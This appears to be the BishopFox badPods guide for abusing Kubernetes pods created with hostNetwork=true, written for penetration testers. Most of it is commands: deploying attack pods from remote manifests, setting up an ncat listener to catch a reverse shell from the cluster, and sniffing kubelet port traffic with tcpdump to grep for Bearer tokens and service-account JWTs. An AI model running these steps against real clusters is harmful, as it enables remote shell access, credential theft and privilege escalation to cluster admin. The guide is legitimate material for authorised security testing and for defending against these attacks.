If you only have hostNetwork=true
, you can't get privileged code execution on the host directly, but if your cross your fingers you might still find a path to cluster admin. There are two potential escalation paths:
- Sniff traffic - You can use
tcpdump
to sniff unencrypted traffic on any interface on the host. You might get lucky and findservice account
tokens or other sensitive information that is transmitted over unencrypted channels. - Access services bound to localhost - You can also reach services that only listen on the host’s loopback interface or that are otherwise blocked by network polices. These services might turn into a fruitful privilege escalation path.
- Bypass network policy - If a restrictive network policy is applied to the namespace, deploying a pod with
hostNetwork=true
allows you to bypass the restrictions because you are bound to the host's network interfaces, and not the pod.
Create one or more of these resource types and exec into the pod
Pod
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl exec -it hostnetwork-exec-pod -- bash
Job, CronJob, Deployment, StatefulSet, ReplicaSet, ReplicationController, DaemonSet
- Replace [RESOURCE_TYPE] with deployment, statefulset, job, etc.
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/[RESOURCE_TYPE]/hostnetwork-exec-[RESOURCE_TYPE].yaml
kubectl get pods | grep hostnetwork-exec-[RESOURCE_TYPE]
kubectl exec -it hostnetwork-exec-[RESOURCE_TYPE]-[ID] -- bash
Keep in mind that if pod security policy blocks the pod, the resource type will still get created. The admission controller only blocks the pods that are created by the resource type.
To troubleshoot a case where you don't see pods, use kubectl describe
kubectl describe hostnetwork-exec-[RESOURCE_TYPE]
Create one or more of these resources and catch the reverse shell
Step 1: Set up listener
ncat --ssl -vlp 3116
Step 2: Create pod from local manifest without modifying it by using env variables and envsubst
- Replace [RESOURCE_TYPE] with deployment, statefulset, job, etc.
- Replace the HOST and PORT values to point the reverse shell to your listener
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/[RESOURCE_TYPE]/hostnetwork-revshell-[RESOURCE_TYPE].yaml | kubectl apply -f -
Step 3: Catch the shell
$ ncat --ssl -vlp 3116
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116
Connection received on 10.0.0.162 42035
You can delete a resource using it's manifest, or by name. Here are some examples:
kubectl delete [type] [resource-name]
kubectl delete -f manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl delete -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl delete pod hostnetwork-exec-pod
kubectl delete cronjob hostnetwork-exec-cronjob
If you can't install tools to your pod (no internet access), you will have to change the image in your pod yaml to something that already includes tcpdump
, like https://hub.docker.com/r/corfr/tcpdump
apt update && apt -y install tcpdump net-tools netcat
You now have a few options for next steps:
See if the kubelet
read port (10255/tcp) is open on any of the node's IPs
nc -zv 10.0.0.162 10255
Connection to 10.0.0.162 10255 port [tcp/*] succeeded!
nc -zv 172.17.0.1 10255
Connection to 172.17.0.1 10255 port [tcp/*] succeeded!
If the read port is open, run tcpdump
, recording the output to a file for a few minutes
Warning: Sniffing on an interface with a lot of traffic can cause the interface to DROP traffic, which is not what you want in an production environment. I suggest picking one port at a time for your packet captures (e.g., 10255, 80, 8080, 3000 25, 23)
Warning: Always run tcpdump
with the -n
flag. This turns off name resolution, and if you don't, the name resolution will bring the capture, and potentially the host, to its knees.
tcpdump -ni [host or docker interface name] -s0 -w kubelet-ro.cap port 10255
Stop the capture and read the file with tcpdump
. Tip: Use the -A
flag to only show the printable characters and hunt for things like tokens with grep
tcpdump -ro kubelet-ro.cap -s0 -A
tcpdump -ro kubelet-ro.cap -s0 -A | grep Bearer
Cross your fingers and look for secrets. If you are lucky, you might even get a jwt. If you are really lucky, that token might be associated with a service account in kube-system
.
curl https://localhost:1234/metrics
- Cloud metadata service
Kube-apiserver
orkubelet
withanonymous-auth
enabled- Kubernetes exploits
- Hunting for vulnerable application/services in the cluster
If you are performing a penetration test, the end goal is not to gain cluster-admin, but rather to demonstrate the impact of exploitation. Use the access you have gained to accomplish the objectives of the penetration test.